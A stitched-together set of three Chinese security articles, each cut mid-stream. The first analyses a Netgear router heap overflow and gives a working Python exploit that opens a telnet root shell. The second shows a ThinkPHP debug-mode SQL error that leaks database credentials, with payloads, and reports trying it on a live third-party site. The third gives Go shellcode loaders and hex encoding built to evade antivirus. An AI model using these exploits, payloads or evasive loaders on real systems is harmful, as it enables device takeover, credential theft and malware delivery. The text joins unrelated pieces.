v112 = stristr(v110 + 16, "\r\n") - (v110 + 16);
v105 = 0;
for ( i = 0; i < v112; ++i ) // (4) Content-Length对应的值
{
v114 = *(char *)++v111;
v105 = v114 - '0' + 10 * v105;
}
if ( v105 > 0x20017 ) // post data部分的长度
{
v105 = stristr(s1, "\r\n\r\n") + v105 + 4 - v109;// (5) 计算文件内容的长度, 由于v105是伪造的, 故计算得到的结果会有问题
goto LABEL_287;
}
// ...
}
else
{
// ...
LABEL_287:
// ...
if ( dword_1A870C )
{
free((void *)dword_1A870C);
dword_1A870C = 0;
}
sub_2F284((int *)&v224);
dword_1A870C = (int)malloc(v105 + 0x258); // (6)
if ( dword_1A870C || ...)
{
memset((void *)dword_1A870C, 0x20, v105 + 0x258);
v203=var_offset-v102; // 对于超长请求, var_offset最大值位0x800(只会触发recv() 2次)
memcpy((void *)dword_1A870C, &s1[v102], var_offset-v102);// (7) heap overflow
// ...
### 漏洞利用
#### 原始方法
`ZDI`的[博客](https://www.zerodayinitiative.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router)中也给出了漏洞的上下文以及利用思路，这里进行简单概括。关于该漏洞的上下文如下：
* 可以往堆上写任意的数据，包括`'\x00'`
* `ASLR` 等级为1，因此堆空间的起始地址是固定的
* 该设备使用的是`uClibc`，相当于一个简化版的`glibc`，其关于堆的检查条件比`glibc`中宽松很多
* 在实现堆溢出之后，`fopen()`函数会被调用，其中会分别调用`malloc(0x60)`和`malloc(0x1000)`，之后也会调用free()进行释放。堆块的申请与释放先后顺序如下：
free(dword_1A870C) -> dword_1A870C = malloc(<controllable_size>) -> free(malloc(0x60)) -> free(malloc(0x1000))
* 通过请求接口`"/strtblupgrade.cgi"`，可以实现任意大小的堆块申请与释放：`free(malloc())`
`d4rkn3ss`利用`fastbin dup
attack`的思路来进行漏洞利用，即通过破坏堆的状态，使得后续的`malloc()`返回指定的地址，由于可以往该地址写任意内容(`write-what-where`)，故可以通过覆盖`got`表项的方式实现任意代码执行。但是前面提到，在实现堆溢出之后，在`fopen()`内会调用`malloc(0x1000)`，其会触发`__malloc_consolidate()`，从而破坏已有的`fastbin`，因此需要先解决`__malloc_consolidate()`的问题。
在`uClibc`中的`free()`函数内，在释放`fastbin`时存在越界写问题，而在`malloc_state`结构体中，`max_fast`变量正好在`fastbins`数组前，通过越界写可以实现修改`max_fast`变量的目的。当`max_fast`变量被改成一个很大的值后，后续再调用`malloc(0x1000)`时便不会触发`__malloc_consolidate()`，从而可以执行`fastbin
dup attack`。
void free(void* mem)
{
// ...
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)
/* If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins */
&& (chunk_at_offset(p, size) != av->top)
) {
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]); // out-of-bounds write
p->fd = *fb;
*fb = p;
}
// ...
struct malloc_state {
/* The maximum chunk size to be eligible for fastbin */
size_t max_fast; /* low 2 bits used as flags */
/* Fastbins */
mfastbinptr fastbins[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
// ...
综上，漏洞利用的过程如下：
* 通过堆溢出修改下一个空闲块的`prev_size`字段和`size`字段，填充合适的`prev_size`值，并使得`PREV_INUSE`标志位为0；
>
> 之后在触发`__malloc_consolidate()`时，会对该`fastbin`进行后向合并，因此需要保证能根据伪造的`prev_size`找到前面的某个空闲块，否则`unlink`时会报错
* 通过`/strtblupgrade.cgi`接口申请一个合适大小的堆块，该堆块会与上面已分配的堆块重叠，从而可以修改上面堆块的大小为`0x8`；
> 在上一步`__malloc_consolidate()`后，由于堆块的后向合并，故会存在一个空闲的堆块与已分配的堆块重叠
* 释放上面已分配的堆块，在将其放入`fastbins`数组中时，会出现越界写，从而将`max_fast`修改为一个很大的值；
>
> max_fast被修改为一个很大的值后，调用`mallco(0x1000)`时就不会触发`__malloc_consolidate()`，之后就可以执行`fastbin
> dup attack`
* 再次通过堆溢出覆盖下一个空闲块，修改其`fd`指针为`free()`的`got`地址(准确来说为`free_got_addr - offset`)；
* 连续申请2个合适的堆块，返回的第2个堆块的地址指向`free()`的got表项，通过向堆块中写入数据，将其修改为`system()`的`plt`地址；
* 当释放第2个堆块时，执行`free()`将调用`system()`，同时其参数指向构造的`payload`，从而实现代码执行。
>
> `H4lo`师傅提供了另外的思路来进行漏洞利用，具体可参考[这里](https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/)
#### “意外”方法
基于上述思路，在`R6400v2`设备上进行漏洞利用时发现存在如下问题：
* 通过`malloc(0x30) -> malloc(0x40) -> malloc(0x30)`方式进行堆布局时，得到的两个堆块之间的偏移比较小，但是由于返回的堆地址比较小，在后续触发`__malloc_consolidate()`对空闲堆块进行后向合并时，往前找不到合适的空闲堆块，无法进行堆块合并。尝试通过分配不同的堆块大小、以及发送不同的请求等方式，均无法得到满足条件的堆块。
* 通过`malloc(0x20) -> malloc(0x10) -> malloc(0x20)`方式进行堆布局时，得到的两个堆块之间的偏移比较大(`超过0x470`)，按照`d4rkn3ss`提供的漏洞利用代码，好像无法实现溢出来覆盖下一个堆块。
由于多次尝试第一种方式均失败，只能寄希望于第二种方式。由于触发漏洞的接口为`"/backup.cgi"`(配置文件上传接口)，按理来说上传的配置文件可以比较大，故该接口应该可以处理较长的请求，但当文件内容长度超过`0x400`时却无法溢出。通过对该请求的处理流程进行分析发现，要通过该接口触发漏洞，整个请求的长度要在`0x400~0x800`之间，如下：
* 该请求必须触发2次`recv()` ，即对应请求长度必须>`0x400`，否则无法到达漏洞点处；
* 该请求只会触发2次`recv()`，当对应请求长度>`0x800`，过长的内容会被截断，后续拷贝时无法造成溢出。
在`d4rkn3ss`提供的漏洞利用脚本中，可以看到在请求头中有一个`'a'*0x200`的占位符，同时`make_filename()`也有一个类似的占位符，因此实际可上传的配置文件大小约为`0x2c0`左右，故当两个堆块之间的偏移超过`0x400`时无法造成堆溢出。解决方式很简单，当要上传大文件时，去掉占位符`'a'*0x200`即可。
def make_filename(chunk_size):
return 'a' * (0x1d7 - chunk_size)
def exploit():
path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
在解决了该问题后，打算按照原来的思路进行利用，可能存在的一些问题如下：
* 两个堆块之间的偏移约为`0x470`，而且不相邻，在溢出覆盖目标空闲堆块时是否会破坏其他结构?
* 溢出到目标空闲堆块后，在触发`__malloc_consolidate()`对该空闲堆块进行后向合并时，后向偏移约为`0x24e0`，通过`/strtblupgrade.cgi`接口申请合适大小的堆块，利用该堆块修改上面已分配堆块的`size`字段，是否会破坏其他结构？
经过测试，发现和预期不太一致：通过`/strtblupgrade.cgi`接口申请的堆地址在前面合并的空闲堆块地址之前，同时，此时的`$PC`已经被填充的`payload`控制了，直接实现了劫持控制流的目的。如下，可以看到`$PC`的值来自于填充的内容，同时部分寄存器如`$R4`也指向填充的`payload`。因此，只需要找到合适的`rop
gadgets`，构造合适的`payload`，即可实现代码执行。
根据`backtrace`信息，查看`uClibc`中函数`__stdio_WRITE()`的源码，如下。在`__stdio_WRITE()`中，正常情况下是通过宏`_WRITE`来调用`__gcs.write()`函数，但经过上述操作后，`STREAMPTR`指向了填充的`payload`，从而可以控制`(STREAMPTR)->__gcs.write`。经过调试暂时未定位到修改`STREAMPTR`的地方(在下断点进一步分析时，有时貌似无法复现…
暂时未想到其他方式来定位)，感兴趣的可以试试。
// in _WRITE.c
size_t attribute_hidden __stdio_WRITE(register FILE *stream,
register const unsigned char *buf, size_t bufsize)
{
size_t todo;
ssize_t rv, stodo;
__STDIO_STREAM_VALIDATE(stream);
assert(stream->__filedes >= -1);
assert(__STDIO_STREAM_IS_WRITING(stream));
assert(!__STDIO_STREAM_BUFFER_WUSED(stream)); /* Buffer must be empty. */
todo = bufsize;
while (todo != 0) {
stodo = (todo <= SSIZE_MAX) ? todo : SSIZE_MAX;
rv = __WRITE(stream, (char *) buf, stodo); // <===
// ...
// _stdio.h
((((STREAMPTR)->__gcs.write) == NULL) ? -1 : \
(((STREAMPTR)->__gcs.write)((STREAMPTR)->__cookie,(BUF),(SIZE))))
综上，上述思路的主要过程如下。需要说明的是，在未访问设备`Web`后台(比如重启设备后)和访问`Web`后台后，调用`malloc(0x8)`返回的堆块地址不太一致(存在0x10的偏移)，使得下列过程不太稳定(不适用于访问过`Web`后台的情形)，建议重启设备后测试。本来想通过触发`__malloc_consolidate()`来使得堆块状态一致，但好像不起作用…
>
> `colorlight`师傅建议通过先多次发送登录请求(错误的认证即可)，当响应的状态码为`200`时，可使得两种情形下的堆状态一致，但测试后发现针对上述情形似乎仍然无效
> …
# XXX: useless??? use __malloc_consolidate() to make the heap consistent
print '[+] malloc 0x38 chunk'
f = copy.deepcopy(files)
f['filename'] = make_filename(0x38)
post_request(path, headers, f)
print '[+] malloc 0x20 chunk'
# r0 0x1033ba0 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
post_request(path, headers, f)
print '[+] malloc 0x8 chunk'
# 0x103400c ◂— 0x10
# r0 0x1034010 <-- return here # TODO: how to make it stable (0x1034010/0x1034020)
f = copy.deepcopy(files)
f['filename'] = make_filename(0x8)
post_request(path, headers, f)
print '[+] malloc 0x20 chunk'
# r0 0x1033ba0 <-- return here
headers = ['Host: %s:%s' % (rhost, rport)] # remove `'a'*0x200 + ': d4rkn3ss'`
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
f['filecontent'] = 'a' * 0x468 + p32(0x24e0) + p32(0x10) # offset: 0x470
post_request(path, headers, f)
print '[+] malloc 0x2080 chunk and try to overwrite size of 0x28 chunk -> 0x9.'
# r0 0x1031ac8 <-- return here
# ...
# 0x1031b20 # consolidated free chunk
# ...
# r0 0x1033ba0
# ...
# 0x103400c ◂— 0x10
# r0 0x1034010
malloc_size = 0x2080 # a large value is ok, not need to be precise in this case
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
# hijack $PC in __stdio_WRITE()
system_gadget = 0xF3C8
cmd = 'utelnetd -d -l /bin/sh'.ljust(32, '\x00') # changed to "utelnetd -d -d -l /bin/sh"
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaaumaaunaauoaaupaauqaauraausaautaauuaauvaauwaauxaauyaauzaavbaavcaavdaaveaavfaavgaavhaaviaavjaavkaavlaavmaavnaavoaavpaavqaavraavsaavtaavuaavvaavwaavxaavyaavzaawbaawcaawdaaweaawfaawgaawhaawiaawjaawkaawlaawmaawnaawoaawpaawqaawraawsaawtaawuaawvaawwaawxaawyaawzaaxbaaxcaaxdaaxeaaxfaaxgaaxhaaxiaaxjaaxkaaxlaaxmaaxnaaxoaaxpaaxqaaxraaxsaaxtaaxuaaxvaaxwaaxxaaxyaaxzaaybaaycaaydaayeaayfaaygaayhaayiaayjaaykaaylaaymaaynaayoaaypaayqaayraaysaaytaayuaayvaaywaayxaayyaayzaazbaazcaazdaazeaazfaazgaazhaaziaazjaazkaazlaazmaaznaazoaazpaazqaazraazsaaztaazuaazvaazwaazxaazyaazzababacabadabaeabafabagabahabaiabajabakabalabamabanabaoabapabaqabarabasabatabauabavabawabaxabayabazabbbabbcabbdabbeabbfabbgabbhabbiabbjabbkabblabbmabbnabboabbpabbqabbrabbsabbtabbuabbvabbwabbxabbyabbzabcbabccabcdabceabcfabcgabchabciabcjabckabclabcmabcnabcoabcpabcqabcrabcsabctabcuabcvabcwabcxabcyabczabdbabdcabddabdeabdfabdgabdhabdiabdjabdkabdlabdmabdnabdoabdpabdqabdrabdsabdtabduabdvabdwabdxabdyabdzabebabecabedabeeabefabegabehabeiabejabekabelabemabenabeoabepabeqaberabesabetabeuabevabewabexabeyabezabfbabfcabfdabfeabffabfgabfhabfiabfjabfkabflabfmabfnabfoabfpabfqabfrabfsabftabfuabfvabfwabfxabfyabfzabgbabgcabgdabgeabgfabggabghabgiabgjabgkabglabgmabgnabgoabgpabgqabgrabgsabgtabguabgvabgwabgxabgyabgzabhbabhcabhdabheabhfabhgabhhabhiabhjabhkabhlabhmabhnabhoabhpabhqabhrabhsabhtabhuabhvabhwabhxabhyabhzabibabicabidabieabifabigabihabiiabijabikabilabimabinabioabipabiqabirabisabitabiuabivabiwabixabiyabizabjbabjcabjdabjeabjfabjgabjhabjiabjjabjkabjlabjmabjnabjoabjpabjqabjrabjsabjtabjuabjvabjwabjxabjyabjzabkbabkcabkdabkeabkfabkgabkhabkiabkjabkkabklabkmabknabkoabkpabkqabkrabksabktabkuabkvabkwabkxabkyabkzablbablcabldableablfablgablhabliabljablkabllablmablnabloablpablqablrablsabltabluablvablwablxablyablzabmbabmcabmdabmeabmfabmgabmhabmiabmjabmkabmlabmmabmnabmoabmpabmqabmrabmsabmtabmuabmvabmwabmxabmyabmzabnbabncabndabneabnfabngabnhabniabnjabnkabnlabnmabnnabnoabnpabnqabnrabnsabntabnuabnvabnwabnxabnyabnzabobabocabodaboeabofabogabohaboiabojabokabolabomabonabooabopaboqaborabosabotabouabovabowaboxaboyabozabpbabpcabpdabpeabpfabpgabphabpiabpjabpkabplabpmabpnabpoabppabpqabprabpsabptabpuabpvabpwabpxabpyabpzabqbabqcabqdabqeabqfabqgabqhabqiabqjabqkabqlabqmabqnabqoabqpabqqabqrabqsabqtabquabqvabqwabqxabqyabqzabrbabrcabrdabreabrfabrgabrhabriabrjabrkabrlabrmabrnabroabrpabrqabrrabrsabrtabruabrvabrwabrxabryabrzabsbabscabsdabseabsfabsgabshabsiabsjabskabslabsmabsnabsoabspabsqabsrabssabstabsuabsvabswabsxabsyabszabtbabtcabtdabteabtfabtgabthabtiabtjabtkabtlabtmabtnabtoabtpabtqabtrabtsabttabtuabtvabtwabtxabtyabtzabubabucabudabueabufabugabuhabuiabujabukabulabumabunabuoabupabuqaburabusabutabuuabuvabuwabuxabuyabuzabvbabvcabvdabveabvfabvgabvhabviabvjabvkabvlabvmabvnabvoabvpabvqabvrabvsabvtabvuabvvabvwabvxabvyabvzabwbabwcabwdabweabwfabwgabwhabwiabwjabwkabwlabwmabwnabwoabwpabwqabwrabwsabwtabwuabwvabwwabwxabwyabwzabxbabxcabxdabxeabxfabxgabxhabxiabxjabxkabxlabxmabxnabxoabxpabxqabxrabxsabxtabxuabxvabxwabxxabxyabxzabybabycabydabyeabyfabygabyhabyiabyjabykabylabymabynabyoabypabyqabyrabysabytabyuabyvabywabyxabyyabyzabzbabzcabzdabzeabzfabzgabzhabziabzjabzkabzlabzmabznabzoabzpabzqabzrabzsabztabzuabzvabzwabzxabzyabzzacacadacaeacafacagacahacaiacajacakacalacamacanacaoacapacaqacaracasacatacauacavacawacaxacayacazacbbacbcacbdacbeacbfacbgacbhacbiacbjacbkacblacbmacbnacboacbpacbqacbracbsacbtacbuacbvacbwacbxacbyacbzaccbacccaccdacceaccfaccgacchacciaccjacckacclaccmaccnaccoaccpaccqaccraccsacctaccuaccvaccwaccxaccyacczacdbacdcacddacdeacdfacdgacdhacdiacdjacdkacdlacdmacdnacdoacdpacdqacdracdsacdtacduacdvacdwacdxacdyacdzacebacecacedaceeacefacegacehaceiacejacekacelacemacenaceoacepaceqaceracesacetaceuacevacewacexaceyacezacfbacfcacfdacfeacffacfgacfhacfiacfjacfkacflacfmacfnacfoacfpacfqacfracfsacftacfuacfvacfwacfxacfyacfzacgbacgcacgdacgeacgfacggacghacgiacgjacgkacglacgmacgnacgoacgpacgqacgracgsacgtacguacgvacgwacgxacgyacgzachbachcachdacheachfachgachhachiachjachkachlachmachnachoachpachqachrachsachtachuachvachwachxachyachzacibacicacidacieacifacigacihaciiacijacikacilacimacinacioacipaciqaciracisacitaciuacivaciwacixaciyacizacjbacjcacjdacjeacjfacjgacjhacjiacjjacjkacjlacjmacjnacjoacjpacjqacjracjsacjtacjuacjvacjwacjxacjyacjzackbackcackdackeackfackgackhackiackjackkacklackmacknackoackpackqackracksacktackuackvackwackxackyackzaclbaclcacldacleaclfaclgaclhacliacljaclkacllaclmaclnacloaclpaclqaclraclsacltacluaclvaclwaclxaclyaclzacmbacmcacmdacmeacmfacmgacmhacmiacmjacmkacmlacmmacmnacmoacmpacmqacmracmsacmtacmuacmvacmwacmxacmyacmzacnbacncacndacneacnfacngacnhacniacnjacnkacnlacnmacnnacnoacnpacnqacnracnsacntacnuacnvacnwacnxacnyacnzacobacocacodacoeacofacogacohacoiacojacokacolacomaconacooacopacoqacoracosacotacouacovacowacoxacoyacozacpbacpcacpdacpeacpfacpgacphacpiacpjacpkacplacpmacpnacpoacppacpqacpracpsacptacpuacpvacpwacpxacpyacpzacqbacqcacqdacqeacqfacqgacqhacqiacqjacqkacqlacqmacqnacqoacqpacqqacqracqsacqtacquacqvacqwacqxacqyacqzacrbacrcacrdacreacrfacrgacrhacriacrjacrkacrlacrmacrnacroacrpacrqacrracrsacrtacruacrvacrwacrxacryacrzacsbacscacsdacseacsfacsgacshacsiacsjacskacslacsmacsnacsoacspacsqacsracssacstacsuacsvacswacsxacsyacszactbactcactdacteactfactgacthactiactjactkactlactmactnactoactpactqactractsacttactuactvactwactxactyactzacubacucacudacueacufacugacuhacuiacujacukaculacumacunacuoacupacuqacuracusacutacuuacuvacuwacuxacuyacuzacvbacvcacvdacveacvfacvgacvhacviacvjacvkacvlacvmacvnacvoacvpacvqacvracvsacvtacvuacvvacvwacvxacvyacvzacwbacwcacwdacweacwfacwgacwhacwiacwjacwkacwlacwmacwnacwoacwpacwqacwracwsacwtacwuacwvacwwacwxacwyacwzacxbacxcacxdacxeacxfacxgacxhacxiacxjacxkacxlacxmacxnacxoacxpacxqacxracxsacxtacxuacxvacxwacxxacxyacxzacybacycacydacyeacyfacygacyhacyiacyjacykacylacymacynacyoacypacyqacyracysacytacyuacyvacywacyxacyyacyzaczbaczcaczdaczeaczfaczgaczhacziaczjaczkaczlaczmacznaczoaczpaczqaczraczsacztaczuaczvaczwaczxaczyaczzadadaeadafadagadahadaiadajadakadaladamadanadaoadapadaqadaradasadatadauadavadawadaxadayadazadbbadbcadbdadbeadbfadbgadbhadbiadbjadbkadbladbmadbnadboadbpadbqadbradbsadbtadbuadbvadbwadbxadbyadbzadcbadccadcdadceadcfadcgadchadciadcjadckadcladcmadcnadcoadcpadcqadcradcsadctadcuadcvadcwadcxadcyadczaddbaddcadddaddeaddfaddgaddhaddiaddjaddkaddladdmaddnaddoaddpaddqaddraddsaddtadduaddvaddwaddxaddyaddzadebadecadedadeeadefadegadehadeiadejadekadelademadenadeoadepadeqaderadesadetadeuadevadewadexadeyadezadfbadfcadfdadfea'
payload_offset = payload.index("baaz")
payload = payload.replace(payload[payload_offset+0x24:payload_offset + 0x24 +4], p32(system_gadget))
payload = payload.replace(payload[payload_offset:payload_offset+32], cmd)
f['filecontent'] = p32(malloc_size).ljust(0x10) + payload + p32(0x9)
post_request('/strtblupgrade.cgi.css', headers, f)
### 补丁分析
以`R6400v2-V1.0.4.98_10.0.71`版本为例，在`http_d()`函数中存在一处变更如下：在定位到`"Content-Length:
"`后判断其前一个字符是否为`'\n'`，应该是对该漏洞的修复。
### 小结
本文基于`R6400v2`型号设备，对`R6700`设备上的堆溢出漏洞进行了分析，并重点介绍了漏洞利用的思路。在参考原始思路实现漏洞利用的过程中，”意外”发现了另一种方式可直接劫持控制流。当然，由于不同设备上的堆布局可能不太一致，这种方式可能不具普适性(甚至带有一点运气的成分…)，而原始的利用思路则比较通用。
### 相关链接
* [(0Day) NETGEAR R6700 httpd strtblupgrade Integer Overflow Remote Code Execution Vulnerability](https://www.zerodayinitiative.com/advisories/ZDI-20-709/)
* [ZDI-20-709: HEAP OVERFLOW IN THE NETGEAR NIGHTHAWK R6700 ROUTER](https://www.zerodayinitiative.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router)
* [Security Advisory for Multiple Vulnerabilities on Some Routers, Mobile Routers, Modems, Gateways, and Extenders](https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders)
* [0ctf2019 Final embedded_heap题解](https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/)
* * * | 社区文章 |
● Author: 合肥滨湖虎子
## **0x00 框架运行环境**
ThinkPHP是一个免费开源的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。
PDO查询能阻止大多数传参攻击，而且框架要求的php版本是5.4；这就防止了php在5.3.6下有个PDO本地查询造成SQL注入的漏洞。
## **0x01 漏洞分析和利用场景**
该漏洞形成最关键的一点是需要开启debug模式，而Tp官方最新的版本5.0.9默认依旧是开放着调试模式
下载最新版本的5.0.9完整版
本地按照官方给的文档安装成功后，新建一个模型
再来新建一个index控制器下的test方法
变量$ids引入的方式是数组 ， 在这里要看下官方的input函数
Thinkphp5.0引入了一个新的助手函数input来替代3.2.3版本里的I函数；
/a 表示参数ids取值的规则是通过数组的形式来获取到，这点很关键
最后用update保存一组数据，从代码层看上去没有进行SQL拼接的痕迹;
那就看一下update方法框架是怎么定义的
前面的参数传入数据，后面的参数传入条件，重点跟踪下$where这个条件变量 ，接着跟到save()方法里
继续跟踪到\thinkphp\library\think\db\Builder.php
又引入了parseWhere方法
最终找到了最核心的方法buildWhere 和 parseWhereItem
这段代码当引入了in 或者 not in的时候遍历value的key和value
而key在绑定编译指令的时候又没有安全处理，所以导致了在预编译的时候SQL异常
笔者测试的结果如下图
数据库链接账户和密码已被泄漏；
看页面提示是有SQL注入的，笔者在这里也尝试着使用MYSQL报错注入，但结果失败的。
值得一提的是这种数据库账户和密码泄漏的前提是SQL语句执行失败或者发生异常的时候才会出现。如果非SQL语法错误的debug模式下是不会泄漏数据库账户和密码的，比如下图笔者请求一个不存在的动作test1方法
那这样的问题是不是存在于更新的操作中？结论当然不是的，这种问题也会产生与select查询方法里；看下方代码
public function test()
{
$ids = input("ids/a");
$gather = new Gather();
$gather->where(['Id' => ['in', $ids]])->select();
}
再用hackbar提交请求
依旧可以报错； 顺藤摸瓜发现delete方法也存在这个问题，那再手工实验证明一下
只需要将select换成delete就可以了
再用hackbar提交数据
触发该漏洞的关键词有下面这些
Like 、not like 、in 、not in
## **0x02 案例分析**
笔者这里下载了一套商城系统 ，这个框架也是很听话的用了官方的配置，debug模式开启
下图是可以触发该漏洞的一段代码
Ids这块input函数取值进来的时候，开发者引入自定义的过滤函数，可以将单引号和双引号都进行html编码
但当笔者提交
?ids[0000%27] =111
Pdo在预编译的时候报错
很轻松的就可以获得数据库账户和密码。
## **0x03网络实战**
笔者对某个站安全测试 ，为了防止查水表，具体域名隐藏
第一步需要注册一个用户，前台是免费注册的
注册登录成功后，直接GET请求
[http://xxx.com/home/messages/batchRead?ids[0'\\]=1](http://xxx.com/home/messages/batchRead?ids%5b0'%5d=1)
笔者尝试着连接对方的数据库，可惜的是运气不好
## **0x04漏洞总结**
Tp5.0框架采用PDO机制已经很安全了，只要不出现拼接字符的现象，至少在绑定参数查询的时候不会产生注入漏洞；也由此可见tp底层对于传入数组的key值没有做安全过滤，导致在预编译绑定参数
处理的时候依旧存在注入字符，结果是框架本身在默认开启调试模式的时候报错给出重要的敏感数据。
## **0x05漏洞修复**
对于这个$k
可以过滤掉所有的特殊字符，以防特殊字符的引入造成MYSQL的报错；当然最好的办法还是关闭掉debug模式，期待官方升级最新的版本把debug模式默认关闭掉。 | 社区文章 |
#### Go加载器
网上找的Go加载器，最简单的免杀就是将shellcode加密解密，或者远程加载shellcode。
package main
import (
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
xor_shellcode := []byte{0xfc, 0x48, 0x83, ...}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
#### shellcode加密解密
简单的加密解密，可以把byte[]类型的shellcode->16进制字符串，Go代码如下。
package main
import (
"bytes"
"encoding/hex"
"fmt"
)
func main() {
//将[]byte -> string(16进制)
shellcode := []byte{0xfc,0x48,0x83, ...}
s := hex.EncodeToString(shellcode)
fmt.Println(s)
///将string(16进制) -> []byte
decode, _ := hex.DecodeString(s)
shellcode2 := decode
fmt.Println(shellcode2)
//比较[]byte类型的 shellcode shellcode2是否相等
fmt.Println(bytes.Compare(shellcode2, shellcode))
}
cs生成.c格式文件。
用如下python脚本，可以直接转化string(16进制)
import re
str = ""
with open("payload.c","r") as f:
while True:
line = f.readline()
if not line:
break
line = line.strip('\n')
str += line
list1 = re.compile(r'\"(.*)\"').findall(str)
str2 = ''.join(list1).replace("\\x","")
print(str2)
然后替换到加载器上。
package main
import (
"encoding/hex"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
code = "fc4883e4f0e8c..."//16进制字符串代码
)
func main() {
decode, _ := hex.DecodeString(code)
xor_shellcode := decode
addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
